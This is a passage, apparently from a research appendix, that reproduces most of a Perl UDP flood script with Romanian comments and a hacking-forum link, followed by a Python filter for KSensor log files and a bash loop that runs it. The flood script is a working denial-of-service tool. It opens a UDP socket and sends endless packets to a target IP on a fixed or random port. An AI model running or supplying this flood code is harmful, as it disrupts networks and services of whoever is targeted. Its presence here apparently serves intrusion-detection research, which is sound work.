09. printf "for any info vizit http://hacking.3xforum.ro/ \n"; 
10. exit(1); 
11. } 
12.  
13. my ($ip,$port,$size,$time); 
14. $ip=$ARGV[0]; 
15. $port=$ARGV[1]; 
16. $time=$ARGV[2]; 
17.  
18. socket(crazy, PF_INET, SOCK_DGRAM, 17); 
19.     $iaddr = inet_aton("$ip"); 
20.  
21. printf "Amu Floodez $ip pe portu $port \n"; 
22. printf "daca nu pica in 10 min dai pe alt port \n"; 
23.  
24. if ($ARGV[1] ==0 && $ARGV[2] ==0) { 
25. goto randpackets; 
26. } 
27. if ($ARGV[1] !=0 && $ARGV[2] !=0) { 
28. system("(sleep $time;killall -9 udp) &"); 
29. goto packets; 
30. } 
31. if ($ARGV[1] !=0 && $ARGV[2] ==0) { 
32. goto packets; 
33. } 
34. if ($ARGV[1] ==0 && $ARGV[2] !=0) { 
35. system("(sleep $time;killall -9 udp) &"); 
36. goto randpackets; 
37. } 
38.  
39. packets: 
40. for (;;) { 
41. $size=$rand x $rand x $rand; 
42. send(crazy, 0, $size, sockaddr_in($port, $iaddr)); 
43. } 
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44.  
45. randpackets: 
46. for (;;) { 
47. $size=$rand x $rand x $rand; 
48. $port=int(rand 65000) +1; 
49. send(crazy, 0, $size, sockaddr_in($port, $iaddr)); 
50. } 
 
A7 – Python script used for modifying KSensor log files 
 
01. #!/usr/bin/env python 
02. import sys 
03. from lxml import etree 
04. if int(sys.argv[1]) < 0: 
05. raise AssertionError('Invalid port: %s' % sys.argv[1]) 
06. inputxml = etree.fromstring('<log>' + sys.stdin.read() + '</log>') 
07. log = etree.Element('log') 
08. outxml = etree.ElementTree(log) 
09. matching = filter(lambda e: e.find('host').get('port') == sys.argv[1], 
inputxml.findall('event')) 
10. [outxml.getroot().insert(-1, e) for e in matching] 
11. outxml.write(sys.stdout) 
 
A8 – Linux batch script for running the Python script in A7 
 
01. #!/bin/bash 
02. for file in $( ls *.log ) 
03. do 
04. python script.py 23 < $file >> 23.log 
05. done 
 
 
 
